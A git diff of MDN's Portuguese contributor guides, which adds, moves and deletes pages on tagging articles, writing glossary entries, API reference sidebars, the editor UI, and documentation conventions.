{{tag("Property")}}
+
Every article describing a particular property within an interface needs this tag. See {{domxref("RTCPeerConnection.connectionState")}}, for example.
+
{{tag("Method")}}
+
Each article documenting an interface method needs this tag. See {{domxref("RTCPeerConnection.createOffer()")}} for example.
+
+ +

In addition, the reference pages need to include interface, property, and method names among their tags. Some examples:

+ +
+
The interface {{domxref("RTCPeerConnection")}}
+
Include the tag "RTCPeerConnection" along with the other relevant tags ("Interface", "WebRTC", "WebRTC API", "API", "Reference", and so forth).
+
The method {{domxref("RTCPeerConnection.createOffer()")}}
+
Include the tags "RTCPeerConnection" and "createOffer" (note no parentheses in tag names!) along with the other relevant tags, including "WebRTC", "WebRTC API", "API", "Reference", and so forth. Consider including things like "Offer" and "SDP", which are also relevant here.
+
The property {{domxref("RTCPeerConnection.iceConnectionState")}}
+
Include the tags "RTCPeerConnection" and "iceConnectionState" along with the other relevant tags, including "WebRTC", "WebRTC API", "API" and "Reference". Also consider including "ICE".
+
+ +

Estado da tecnologia

+ +

To help the reader understand how viable a technology is, we use tags to label pages as to the status of the technology's specification. This isn't as detailed as actually explaining what the spec is and how far the technology has come in the specification process (that's what the Specifications table is for), but it helps the reader judge, at a glance, whether it's a good idea to use the technology described in the article.

+ +

Here are possible values for these tags:

+ +
+
{{Tag("Read-only")}}
+
Apply this tag to reference pages which describe a property or attribute which is read-only.
+
{{Tag("Non-standard")}}
+
Indicates that the technology or API described on the page is not part of a standard, whether it's stable or not in any browsers which implement it (if it's not stable, it should also be {{Tag("Experimental")}}). If you don't use this tag, your readers will assume the technology is standard. The compatibility table on the page should clarify which browser(s) support this technology or API.
+
{{Tag("Deprecated")}}
+
The technology or API covered on the page is marked as deprecated in the specification, and is likely to eventually be removed, but is generally still available in current versions of browsers.
+
{{Tag("Obsolete")}}
+
The technology or API has been deemed obsolete and has been removed (or is actively being removed) from all or most current browsers.
+
{{Tag("Experimental")}}
+
The technology is not standardized, and is an experimental technology or API that may or may not ever become part of a standard. It is also subject to change in the browser engine (typically only one) that implements it. If the technology isn't part of any specification (even in draft form), it should also have the {{tag("Non-standard")}} tag.
+
{{Tag("Needs Privileges")}}
+
The API requires privileged access to the device on which the code is running.
+
{{Tag("Certified Only")}}
+
The API only works in certified code.
+
+ +

These tags are no excuse to leave out the compatibility table in your article! That should always be present.

+ +

Nível de competência técnica

+ +

Use the skill-level tag type only for guides and tutorials (that is, pages tagged Guide) to help users choose tutorials based on how familiar they are with a technology. There are three values for this:

+ +
+
{{Tag("Beginner")}}
+
Articles designed to introduce the reader to a technology they've never used or have only a passing familiarity with.
+
{{Tag("Intermediate")}}
+
Articles for users who have gotten started with the technology but aren't experts.
+
{{Tag("Advanced")}}
+
Articles about stretching the capabilities of a technology and of the reader.
+
+ +

Metadados de documento

+ +

The writing community uses tags to label articles as requiring specific types of work. Here's a list of the ones we use most:

+ +
+
{{Tag("Draft")}}
+
The article is not complete, and is at least in theory still actively being updated (although it's also possible it's been forgotten about). Try to check with the most recent contributors before making changes, in order to avoid potential content collisions.
+
{{Tag("NeedsCompatTable")}}
+
The article needs a table to specify compatibility of a feature across browsers. See here for a guide on contributing to browser compatibility.
+
{{Tag("NeedsContent")}}
+
The article is a stub, or is otherwise lacking information. This tag means that someone should review the content and add more details and/or finish writing the article.
+
{{Tag("NeedsExample")}}
+
The article needs one or more examples created to help illustrate the article's point. These examples should use the live sample system.
+
{{Tag("NeedsLiveSamples")}}
+
The article has one or more examples that need to be updated to use the live sample system.
+
{{Tag("NeedsSpecTable")}}
+
The article needs a table to indicate on which specification document(s) the feature was defined.
+
{{Tag("NeedsUpdate")}}
+
The content is out of date and needs to be updated.
+
{{Tag("l10n:exclude")}}
+
The content is not really worth localizing and will not appear on localization status pages.
+
{{Tag("l10n:priority")}}
+
The content is important and should be marked as a priority for MDN translators. Shows up in an extra priority table on localization status pages.
+
+ +

Unindo tudo

+ +

Portanto, para cada página que atribui tags de vários tipos de tag, por exemplo:

+ +
+
A tutorial about WebGL for beginners
+
WebGL, Graphics, Guide, Beginner
+
Reference page for {{HTMLElement("canvas")}}
+
Canvas, HTML, Element, Graphics, Reference
+
A landing page for Firefox OS developer tools
+
Tools, Firefox OS, Landing
+
+ +

Filtros de tag e pesquisa

+ +

Search filters won't work properly unless we tag MDN pages properly. Here's a table of search filters and which tags they look for.

+ +
+

Nota: If multiple tags are listed under "Tag name," that means any one or more of these tags must be present for the article to match.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Grupo de filtroNome do filtro de pesquisaNome da tag
TópicoAPIs and DOM{{Tag("API")}} || {{Tag("DOM")}} {{Deprecated_Inline}}
Add-ons & Extensions {{Deprecated_Inline}}{{Tag("Add-ons")}} || {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}} || {{Tag("WebExtensions")}}
CSS{{Tag("CSS")}}
Canvas{{Tag("Canvas")}}
Firefox{{Tag("Firefox")}}
Firefox OS{{Tag("Firefox OS")}}
Games{{Tag("Games")}}
HTML{{Tag("HTML")}}
HTTP{{Tag("HTTP")}}
JavaScript{{Tag("JavaScript")}}
Marketplace {{Non-standard_Inline}}{{Tag("Marketplace")}}
MathML{{Tag("MathML")}}
Mobile{{Tag("Mobile")}}
Open Web Apps {{Non-standard_Inline}}{{Tag("Apps")}}
SVG{{Tag("SVG")}}
Web Development{{Tag("Web Development")}}
Web Standards{{Tag("Web")}}
WebExtensions{{Tag("WebExtensions")}}
WebGL{{Tag("WebGL")}}
Writing Documentation{{Tag("MDN Meta")}}
XPCOM {{Non-standard_Inline}}{{Tag("XPCOM")}}
XUL {{Non-standard_Inline}}{{Tag("XUL")}}
{{anch("Skill level")}}I'm an Expert{{Tag("Advanced")}}
Intermediate{{Tag("Intermediate")}}
I'm Learning{{Tag("Beginner")}}
Tipo de documentoDocsThis restricts the search to docs content, leaving out Hacks and other MDN content.
DemosThis includes Demo Studio content in the search results.
Tools{{Tag("Tools")}}
Code Samples{{Tag("Example")}}
How-To & Tutorial{{Tag("Guide")}}
Developer ProfilesThis includes developer profiles from the MDN site in the search results.
External ResourcesThe dev team is still figuring this out...
+ +

Problemas de etiquetagem que pode corrigir

+ +

There are several kinds of tag problems you can help fix:

+ +
+
No tags
+
Generally articles should have at least a "{{anch("Document category", "category")}}" tag and a "{{anch("Topic", "topic")}}" tag. Usually other tags are appropriate as well, but if you can help us ensure that the minimum tags are present, you'll be a documentation hero!
+
Tags that don't follow our tagging standards
+
Please fix any documents whose tags don't follow the standards on this page.
+ Note that you may occasionally see some localized tags (such as Référence) showing up on some English pages. This was due to a bug in Kuma, which caused the tags to reappear even if they were deleted. That bug has since been fixed, so any remaining localized tags can be cleaned up if they're spotted.
+
Incorrect tags
+
If you're looking at an article about HTML and it's tagged "JavaScript", that's probably wrong! Likewise, if an article discusses Mozilla internals but has a "Web" tag, that's probably wrong too. Remove these tags and add the right tags if they aren't already there. Please also correct misspelled tags (e.g., "Javascript" will still match, since tags are case-insensitive, but let's not be sloppy!).
+
Missing tags
+
If an article has some but not all of the tags it needs, feel free to add more. For example, if a page in JavaScript reference is (correctly) tagged "JavaScript" but nothing else, you're invited to tag the page "Reference" as well!
+
Tag spam
+
This insidious beast is the most revolting tag problem of all: some Web vermin has deposited its droppings in the page tags (like "Free warez!" or "Hey I was browsing your site and wanted to ask you if you could help me solve this problem I'm having with Flash crashing all the time"). We've got to delete these right away! They're ugly, they're hard to manage if they're allowed to linger too long, and they're terrible for {{Glossary("SEO")}}.
+
+ +

If you see one (or more) of these problems, please log into MDN and click EDIT at the top right of the MDN window. Once the editor loads up, scroll down to the bottom of the page, where you'll see the tag box. For more details on the tagging interface, see "The tags box" in the MDN editor guide.

diff --git a/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html b/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html new file mode 100644 index 0000000000..105853672c --- /dev/null +++ b/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html @@ -0,0 +1,114 @@ +--- +title: Como escrever e referenciar uma entrada no glossário +slug: MDN/Contribute/Howto/Como_escrever_uma_nova_entrada_no_Glossario +tags: + - Como... + - Glossário + - Guia(2) + - Metadados da MDN +translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary +--- +
{{MDNSidebar}}
+ +

O glossário da MDN é o local onde nós definimos toda a terminologia, gíria, e abreviações utilizadas na documentação e programação. Contribuir para o glossário é uma maneira simples de tornar a Web mais fácil para todos entenderem. Você não precisa de um alto nível de habilidade técnica para escrever entradas de glossário porque elas devem permanecer simples e diretas.

+ +

Como escrever uma entrada

+ +

Se você está procurando por tópicos que precisam de uma entrada de glossário, verifique a lista de termos não documentados no final da página de destino do Glossário; clique em qualquer um desses links para iniciar uma nova página do Glossário para o item que você clicou; então siga os passos abaixo.

+ +

Se você tem uma ideia para um nova entrada de glossário, basta abrir o botão em uma nova aba, e então siga os passos abaixo do botão.

+ +

Adicionar Nova Entrada ao Glossário

+ +

 

+ +

Passo 1: Escreva um resumo

+ +

The first paragraph of any glossary page is a simple and short description of the term (preferably no more than two sentences). Make sure anyone reading the description can understand the defined term immediately.

+ +
+

Nota: Please don't copy-and-paste definitions from elsewhere (especially not Wikipedia, since its range of license versions is smaller, and thus incompatible with that of MDN). It's really important to make sure this content is simple and easy to understand. It's worth spending some time on it rather than stealing content blindly. This glossary should be useful new content, not repeating things from elsewhere.

+
+ +

Links to the glossary entry will use these summaries inside their tooltips, so that readers can see the definitions without navigating away from the page they're on. (See below how to insert links to glossary entries with the \{{Glossary}} macro.)

+ +

If you must, you can add a few extra paragraphs, but it's very easy to find yourself writing a whole article. Writing a whole article is fine, but please don't put it in the glossary. If you aren't sure where to put your article, feel free to reach out to discuss it.

+ +

Passo 2: Expanda com hiperligações

+ +

Finally, a glossary entry should always end with a "Learn more" section. This section should contain links to help the reader move forward: discovering more details, learning to use the relevant technology, and so on.

+ +

We recommend that you sort the links into at least these three groups:

+ +
+
Conhecimento geral
+
Links that provide more general information; for example, a link to Wikipedia is a good starting point.
+
Referência técnica
+
Links to more in-depth technical information, on MDN or elsewhere.
+
Saber sobre a mesma
+
Hiperligações para tutoriais, exercícios, quaisquer outros materiais que ajudem o leitor a saber como utilizar a tecnologia por de trás do termo definido.
+
+ +

Termos sugeridos

+ +

So you want to contribute but you don't know which terms need to be defined? Here's a list of suggestions. Click one and get started!

+ +

Lidar com a desambiguação

+ +

Sometimes, a term has several meanings depending on the context. To resolve the ambiguities, you must follow those guidelines:

+ + + +

Let's illustrate that with an example. The term signature can have different meanings in at least three different contexts: security, function and email.

+ +
    +
  1. A página de Glossário/Assinatura é a página de desambiguação como a  {{TemplateLink("GlossaryDisambiguation")}} macro.
  2. +
  3. The page Glossary/Signature/Security is the page defining a signature in a security context.
  4. +
  5. The page Glossary/Signature/Function is the page defining a function signature.
  6. +
  7. The page Glossary/Signature/Email is the page defining email signature.
  8. +
+ +

Como utilizar a macro \{{Glossary}}

+ +

The glossary is much more useful when people can access the definitions from another document without navigating away from what they're reading. Therefore we urge you to link to the glossary whenever you can, using the {{TemplateLink("Glossary")}} macro:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
MacroResultadoNota
\{{Glossary("browser")}}{{Glossary("browser")}}When a text matches the term to be defined, just use the macro as is (it's case insensitive)
\{{Glossary("browser", "Web browser")}}{{Glossary("browser","Web browser")}}To display an alternative text, use the second argument to specify that text
\{{Glossary("browser", "Web browser", 1)}}{{Glossary("browser","Web browser",1)}}Specify 1 as an optional third argument to display the link as a regular link rather than a subtle hint
+ +

Links created with the \{{Glossary}} macro always display a tooltip containing the glossary entry's summary paragraph.

+ +

Utilização das linhas diretrizes

+ +

In many cases, it's perfectly safe to use that macro everywhere on MDN. However, there are a few cases you should handle with care:

+ + diff --git a/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html b/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html new file mode 100644 index 0000000000..8e28e33556 --- /dev/null +++ b/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html @@ -0,0 +1,109 @@ +--- +title: Barras laterais de referência da API +slug: MDN/Structures/API_references/Barras_laterais_de_referencia_da_API +tags: + - API + - Guía + - Referencia + - barras laterais + - groupdata + - onboarding +translation_of: MDN/Structures/API_references/API_reference_sidebars +--- +
{{MDNSidebar}}

Pode incluir uma barra lateral personalizada nas páginas de referência da API para exibir as hiperligações para as 'Interfaces' relacionadas, tutoriais, e outros recursos relevantes, apenas para essa API. Este artigo explica como.

+ +

O que precisa de fazer?

+ +

You need to take the following three steps to create your API sidebar:

+ +
    +
  1. Create your API reference pages.
  2. +
  3. Add an entry for your particular API into the KumaScript repo's GroupData.json data file.
  4. +
  5. Use the \{{APIRef}} macro to insert the sidebar into each page you want to display it on.
  6. +
+ +

Let's run through each of these steps in turn. The example we'll refer to in this article is the Fetch API.

+ +

Criar páginas de referência da sua API

+ +

Before you can add sidebars to your pages, you'll need to create the pages themselves (see our What does an API reference need? guide for more guidance).

+ +

Adicionar uma entrada para GroupData.json

+ +

The GroupData.json file holds all the data relating to what links should appear in API reference sidebars. When invoked, the \{{APIRef}} macro takes an API name given to it as a parameter, looks up that name in GroupData.json, builds a sidebar as appropriate, and inserts it in the page.

+ +

To add an entry to GroupData.json, you need to:

+ +
    +
  1. Make sure you have a GitHub account.
  2. +
  3. Fork the KumaScript repo, create a new branch to contain your changes, and clone the repo locally.
  4. +
  5. Checkout your new branch before starting work, and make sure you push changes to it after finishing.
  6. +
  7. Create a pull request so that the MDN team can review your work, and ask for changes if necessary.
  8. +
+ +

If you need help with using GitHub, a more detailed guide can be found at our compatibility tables guide.

+ +

The GroupData.json file can be found inside the macros directory of the KumaScript repo. Looking at it, you'll see a giant JSON structure, with each API having its own member. The name is the API name, and the value is an object containing several submembers defining the sidebar links to be created.

+ +

For example, look at the Fetch API page on MDN. The corresponding entry in GroupData.json looks like this:

+ +
"Fetch API": {
+    "overview":   [ "Fetch API"],
+    "interfaces": [ "Body",
+                    "Headers",
+                    "Request",
+                    "Response",
+                    "FetchController",
+                    "FetchObserver",
+                    "FetchSignal",
+                    "ObserverCallback" ],
+    "methods":    [ "WindowOrWorkerGlobalScope.fetch()" ],
+    "properties": [],
+    "events":     []
+},
+ +

As you can see, we've used "Fetch API" for the name, and inside the object value we include a number of submembers.

+ +

Submembers to include inside a GroupData entry

+ +

This section lists all the submembers you could include in a GroupData entry.

+ +

Note that Most of the values included inside the listed submembers equate to both the link text, and slugs appended to the end of the main API index page —  https://developer.mozilla.org/<language-code>/docs/Web/API — to create the final URL for the displayed link. So for example, "Body" will result in a link being created like so in the en-US locale:

+ +
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API">Body</a></li>
+ +

There are a few exceptions. For example the "guides" submember contains one or more sets of link information (title and slug) that defines links to associated guides/tutorials. In this case the slugs are appended to the end of the MDN docs root — https://developer.mozilla.org/<language-code>/docs — allowing an article anywhere on MDN to be included.

+ +

Here are the available members. In each case, an example is included that assumes that the local is en-US.

+ +
    +
  1. +

    "overview" — the value is an array, inside of which you include the slug of the API overview page, if there is one. "Fetch API" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API.

    +
  2. +
  3. +

    "interfaces" — the value is an array in which you should list all of the interfaces that form part of that API. "Body" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Body.

    +
  4. +
  5. +

    "methods" — the value is an array that should contain all of the methods associated with the API. This can include methods that are members of interfaces defined in the API spec, and methods the API defines on other interfaces. If there are a huge number of methods, you might want to consider only listing the most popular ones, or putting them first in the list. "WindowOrWorkerGlobalScope.fetch()" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch.

    +
  6. +
  7. +

    "properties" — the value is an array that should contain all of the properties associated with the API. This can include properties that are members of interfaces defined in the API spec, and properties the API defines on other interfaces. If there are a huge number of properties, you might want to consider only listing the most popular ones, or putting them first in the list. "Headers.append" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Headers/append.

    +
  8. +
  9. +

    "events" — the value is an array that should contain all of the events associated with the API, defined in the API spec, or elsewhere. If there are a huge number of events, you might want to consider only listing the most popular ones, or putting them first in the list. "animationstart" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/Events/animationstart.

    +
  10. +
  11. +

    "guides" — the value is an array containing one or more objects that define links to guides explain how to use the API. Each object contains two submembers — "url", which contains the partial URL pointing to the guide article, and "title", which defines the link test for the link. As an example, the following object:

    + +
    { "url":   "/docs/Web/API/Detecting_device_orientation",
    +"title": "Detecting device orientation" }
    + +

    Creates a link with the title "Detecting device orientation", which points to https://developer.mozilla.org/en-US/docs/Web/API/Detecting_device_orientation.

    +
  12. +
+ +

Inserir a barra lateral nas suas páginas

+ +

Once you've added an entry for your API into GroupData.json, submitted it as a pull request and had the change accepted into the main repo, you can include it in your API reference pages using the \{{APIRef}} macro, which takes the name you used for your API in GroupData as a parameter. As an example, the WebVR API's sidebar is included in its pages with the following:

+ +

\{{APIRef("WebVR API")}}

diff --git a/files/pt-pt/mdn/editor/basicos/index.html b/files/pt-pt/mdn/editor/basicos/index.html deleted file mode 100644 index 78a0023b70..0000000000 --- a/files/pt-pt/mdn/editor/basicos/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Elementos da IU do Editor -slug: MDN/Editor/Basicos -tags: - - Documentação - - Guía - - MDN - - Metadados da MDN - - Principiante - - editor -translation_of: MDN/Editor/Basics ---- -
{{MDNSidebar}}
- -

O editor WYSIWYG na MDN foi projetado para facilitar ao máximo a criação, edição e melhoramento de artigos e outras páginas em praticamente qualquer lugar do site. A janela do editor, mostrada abaixo, consiste em oito áreas principais. Este guia fornece informação sobre cada secção para que saiba como utilizar todo o nosso ambiente de edição.

- -
-

We're constantly working on improvements to MDN, so there will be times when this documentation or the screen shots below may be slightly out-of-date. We'll periodically update this documentation, though, to avoid it being unusably behind.

-
- -

Screenshot of the editor UI (August 2017) with each section labeled

- -

The editor UI contains the following sections, as shown above. Click a link below to read about that section of the editor.

- - - -

Caixa de edição

- -

The edit box is, of course, where you actually do your writing.

- -

Right-clicking in the editor box offers appropriate additional options depending on the context of your click: right-clicking in a table offers table-related options and right-clicking in a list offers list-related options, for example. By default, the editor uses its own contextual menu when you right-click on the editor. To access your browser's default contextual menu (such as to access the Firefox spell checker's list of suggested corrections), hold down the Shift or Control key (the Command key on Mac OS X) while clicking.

- -

When working in the edit box, you can use its keyboard shortcuts.

- -

Comentário da revisão

- -

After you've made your changes, it's strongly recommended you add a comment to your revision. This is displayed in the revision history for the page, as well as on the Revision Dashboard. It helps to explain or justify your changes to others that may review your work later. To add a revision comment, simply type the note into the revision comment box before clicking either of the Publish buttons at the top or bottom of the page.

- -

There are a few reasons this is helpful:

- - - -

Pedidos de revisão

- -

The MDN community uses reviews to try to monitor and improve the quality of MDN's content. This works by setting a flag on an article indicating that a review is needed. You can learn more about technical reviews and editorial review in the How to guides.

- -

To request a review on the article you've worked on, toggle on the checkbox next to the type of review that's needed. Technical reviews should be requested any time you make changes to the explanation of how something technical works, while editorial reviews are a good idea when you've made changes and would like someone to review your writing and style choices.

- -

While selecting a review checkbox adds the article to the lists of those needing technical review or needing editorial review, it does not guarantee that anyone will immediately review the article. For technical reviews, it's a good idea to directly contact a subject-matter expert in the relevant technical area. For editorial reviews, you can post in the MDN discussion forum to request that someone review your changes.

- -

Be sure to click one of the Publish buttons after making your selections, to commit your review request.

- -

Consulte também

- - - - diff --git a/files/pt-pt/mdn/editor/index.html b/files/pt-pt/mdn/editor/index.html deleted file mode 100644 index a13dda6b6a..0000000000 --- a/files/pt-pt/mdn/editor/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Guia para o editor da IU da MDN -slug: MDN/Editor -tags: - - Documentação - - Guía - - Landing - - MDN - - Metadados MDN -translation_of: MDN/Editor ---- -
{{MDNSidebar}}
- -

O editor WYSIWYG (o que vê é o que obtém) para a wiki dos Documentos da Web da MDN torna fácil a contribuição para novo conteúdo. Este guia mostra-lhe como utilizar o editor e melhorar a sua produtividade. Por favor, leia e concorde com os Termos da Mozilla antes de editar ou criar novas páginas.

- -

O guia de estilo de escrita da MDN oferece informação sobre como formatar e estilizar o próprio conteúdo, incluindo as nossas regras de gramática e ortografia preferidas.

- -

{{LandingPageListSubpages}}

- -

{{EditorGuideQuicklinks}}

diff --git a/files/pt-pt/mdn/guidelines/convencoes_definicoes/index.html b/files/pt-pt/mdn/guidelines/convencoes_definicoes/index.html deleted file mode 100644 index f3a57c70c3..0000000000 --- a/files/pt-pt/mdn/guidelines/convencoes_definicoes/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: MDN - Convenções e Definições -slug: MDN/Guidelines/Convencoes_definicoes -tags: - - Documentação - - Guía - - Linhas Diretrizes - - MDN - - Metadados MDN -translation_of: MDN/Guidelines/Conventions_definitions ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Este artigo define algumas convenções e definições que são normalmente utilizadas na MDN, que talvez não sejam óbvias para algumas pessoas quando elas as encontrarem na documentação.

- -

Definições

- -

Desaprovada e obsoleta

- -

Desaprovada e obsoleta são termos comuns associados com as tecnologias e especificações, mas o que eles significam?

- -
-
Desaprovada
-
Na MDN, o termo 'desaprovada' utilizado para marcar uma API ou tecnologia que já não é recomendada, mas que ainda está implementada e poderá funcionar. Mais recentemente, nós atualizamos-la para a definição utilizada no projeto de dados compatíveis do navegador, que é que "a funcionalidade já não é mais recomendada. Esta poderá ser removida no futuro ou pode ser mantida apenas para fins de compatibilidade. Evite utilizar esta funcionalidade".
-
Obsoleta
-
No MDN, o termo 'obsoleta'utilizado para marcar uma API ou tecnologia que já não é mais recomendada, mas também não é mais implementada nos navegadores. Isto foi no entanto confuso - é semelhante a obsoleta, e a distinção não é muito útil (ainda não o deveria utilizar num site de produção). Portanto, nós não estamos mais a utilizá-lo, e quaisquer instâncias encontradas deveriam ser removidas/substituídas por 'obsoleta'.
-
- -

Experimental

- -

Experimental can mean different things depending on the context you hear or read it in. When a technology is described as experimental on MDN, it means that the technology is nascent and immature, and currently in the process of being added to the Web platform (or considered for addition).

- -

One or both of these will be true:

- - - -

If one or both of these definitions is true, then you should think carefully before you start using that technology in any kind of production project (i.e. not just a demo or experiment). See also the definition of experimental in our browser-compat-data project.

- - - -

Conversely, an item is no longer experimental when:

- - - - - -

Páginas arquivadas

- -

Archived pages are pages that are stored in the MDN Archive of obsolete content. These pages contain information out-of-date enough that it is not directly useful to anyone anymore.

- -

Most commonly, these concern Mozilla projects that have been discontinued and shouldn't be relied on anymore. But we don't simply delete them because they form a useful historical record, and some of the patterns or ideas contained within might be useful for future work. A good example is the B2G (Firefox OS) project.

- -

Quando é que uma página deverá ser arquivada?

- -

A page should be archived if it fits the above description. To archive a page, you should use the "Move page feature" (Advanced > Move this article) to move the page into the Archive page tree (/en-US/docs/Archive). You might not have the permissions to use this feature, and before you start archiving pages you should discuss it with the MDN community first — talk to us on our Discourse forum.

- -

Páginas eliminadas

- -

Deleted pages are pages that have been explicitly deleted from MDN — see for example the SharedKeyframeList interface and SharedKeyframeList() constructor. These pages contain information that is not useful in any way anymore, and/or might be incorrect to the point where keeping it available might be confusing or bad for people to know.

- -

These might be:

- - - -

Quando é que uma página deverá ser eliminada?

- -

A page should be deleted if it fits the above description. To delete a page, you should use the "Delete this page feature" (Advanced > Delete this page) to delete the page. You will probably not have the permissions to use this feature, and when thinking about deleting pages you should discuss it with the MDN community first — talk to us on our Discourse forum.

- - - - - -

Quando documentar novas tecnologias

- -

On MDN, we are constantly looking to document new web standards technologies as appropriate. We try to strike a balance between publishing the documentation early enough so developers can learn about new features as soon as they need to, and publishing it late enough so that the technology is mature and stable so the docs won't need constant updates or rapid removal.

- -

In general, our definition of the earliest we'll consider documenting a new technology is:

- -

"When the feature is on a standards track and is implemented somewhere."

- -

You should definitely consider documenting a new technology if:

- - - -

You should be more wary of documenting a new technology (but should still consider it if it makes sense) if it:

- - - -

You should not consider documenting a new technology if it:

- - - - - -

Convenções

- -

Quando é removido algo da especificação

- -

Sometimes during the development of a new specification, or over the course of the evolution of living standards such as HTML, new elements, methods, properties, and so forth are added to the specification, stay there for a while, then get removed again. Sometimes this happens very quickly, and sometimes these new items remain in the specification for months or even years before being removed. This can make it tricky to decide how to handle the removal of the item from the spec. Here are some guidelines to help you decide what to do.

- -
-

For the purposes of this discussion, the word "item" is used to mean anything which can be part of a specification: an element or an attribute of an element, an interface or any individual method, property, or other member of an interface, and so forth.

-
- - - -

Please use common sense with wording of warning messages and other changes to text suggested by the guidelines above. Different items will require different wording and handling of the situation. When in doubt, feel free to ask for advice on the MDN Web Docs chat room on Matrix, or on the MDN Web Docs discussion forum.

- -

Copiar conteúdo dentro da MDN

- -

Sometimes, you need to reuse the same text on multiple pages (or you want to use one page's content as a template for another page). You have three options:

- - - -

Copiar conteúdo de outro lado

- -

Often, there is useful content about a topic somewhere on the web besides on MDN. However, copying such content can be fraught with difficulties, both legal and technical.

- -

On the technical level, search engines typically penalize a site in their rankings for reproducing content available elsewhere. Therefore, it is preferable to have original content on MDN, to enhance the search engine ranking of MDN's content. You can link to the existing content from MDN.

- -

On the legal level, you must be authorized to contribute the content, and it must be licensed and attributed in a way that is compatible with MDN's license.

- - diff --git a/files/pt-pt/mdn/guidelines/conventions_definitions/index.html b/files/pt-pt/mdn/guidelines/conventions_definitions/index.html new file mode 100644 index 0000000000..f3a57c70c3 --- /dev/null +++ b/files/pt-pt/mdn/guidelines/conventions_definitions/index.html @@ -0,0 +1,201 @@ +--- +title: MDN - Convenções e Definições +slug: MDN/Guidelines/Convencoes_definicoes +tags: + - Documentação + - Guía + - Linhas Diretrizes + - MDN + - Metadados MDN +translation_of: MDN/Guidelines/Conventions_definitions +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/pt-PT/docs/MDN")}}
+ +

Este artigo define algumas convenções e definições que são normalmente utilizadas na MDN, que talvez não sejam óbvias para algumas pessoas quando elas as encontrarem na documentação.

+ +

Definições

+ +

Desaprovada e obsoleta

+ +

Desaprovada e obsoleta são termos comuns associados com as tecnologias e especificações, mas o que eles significam?

+ +
+
Desaprovada
+
Na MDN, o termo 'desaprovada' utilizado para marcar uma API ou tecnologia que já não é recomendada, mas que ainda está implementada e poderá funcionar. Mais recentemente, nós atualizamos-la para a definição utilizada no projeto de dados compatíveis do navegador, que é que "a funcionalidade já não é mais recomendada. Esta poderá ser removida no futuro ou pode ser mantida apenas para fins de compatibilidade. Evite utilizar esta funcionalidade".
+
Obsoleta
+
No MDN, o termo 'obsoleta'utilizado para marcar uma API ou tecnologia que já não é mais recomendada, mas também não é mais implementada nos navegadores. Isto foi no entanto confuso - é semelhante a obsoleta, e a distinção não é muito útil (ainda não o deveria utilizar num site de produção). Portanto, nós não estamos mais a utilizá-lo, e quaisquer instâncias encontradas deveriam ser removidas/substituídas por 'obsoleta'.
+
+ +

Experimental

+ +

Experimental can mean different things depending on the context you hear or read it in. When a technology is described as experimental on MDN, it means that the technology is nascent and immature, and currently in the process of being added to the Web platform (or considered for addition).

+ +

One or both of these will be true:

+ + + +

If one or both of these definitions is true, then you should think carefully before you start using that technology in any kind of production project (i.e. not just a demo or experiment). See also the definition of experimental in our browser-compat-data project.

+ + + +

Conversely, an item is no longer experimental when:

+ + + + + +

Páginas arquivadas

+ +

Archived pages are pages that are stored in the MDN Archive of obsolete content. These pages contain information out-of-date enough that it is not directly useful to anyone anymore.

+ +

Most commonly, these concern Mozilla projects that have been discontinued and shouldn't be relied on anymore. But we don't simply delete them because they form a useful historical record, and some of the patterns or ideas contained within might be useful for future work. A good example is the B2G (Firefox OS) project.

+ +

Quando é que uma página deverá ser arquivada?

+ +

A page should be archived if it fits the above description. To archive a page, you should use the "Move page feature" (Advanced > Move this article) to move the page into the Archive page tree (/en-US/docs/Archive). You might not have the permissions to use this feature, and before you start archiving pages you should discuss it with the MDN community first — talk to us on our Discourse forum.

+ +

Páginas eliminadas

+ +

Deleted pages are pages that have been explicitly deleted from MDN — see for example the SharedKeyframeList interface and SharedKeyframeList() constructor. These pages contain information that is not useful in any way anymore, and/or might be incorrect to the point where keeping it available might be confusing or bad for people to know.

+ +

These might be:

+ + + +

Quando é que uma página deverá ser eliminada?

+ +

A page should be deleted if it fits the above description. To delete a page, you should use the "Delete this page feature" (Advanced > Delete this page) to delete the page. You will probably not have the permissions to use this feature, and when thinking about deleting pages you should discuss it with the MDN community first — talk to us on our Discourse forum.

+ + + + + +

Quando documentar novas tecnologias

+ +

On MDN, we are constantly looking to document new web standards technologies as appropriate. We try to strike a balance between publishing the documentation early enough so developers can learn about new features as soon as they need to, and publishing it late enough so that the technology is mature and stable so the docs won't need constant updates or rapid removal.

+ +

In general, our definition of the earliest we'll consider documenting a new technology is:

+ +

"When the feature is on a standards track and is implemented somewhere."

+ +

You should definitely consider documenting a new technology if:

+ + + +

You should be more wary of documenting a new technology (but should still consider it if it makes sense) if it:

+ + + +

You should not consider documenting a new technology if it:

+ + + + + +

Convenções

+ +

Quando é removido algo da especificação

+ +

Sometimes during the development of a new specification, or over the course of the evolution of living standards such as HTML, new elements, methods, properties, and so forth are added to the specification, stay there for a while, then get removed again. Sometimes this happens very quickly, and sometimes these new items remain in the specification for months or even years before being removed. This can make it tricky to decide how to handle the removal of the item from the spec. Here are some guidelines to help you decide what to do.

+ +
+

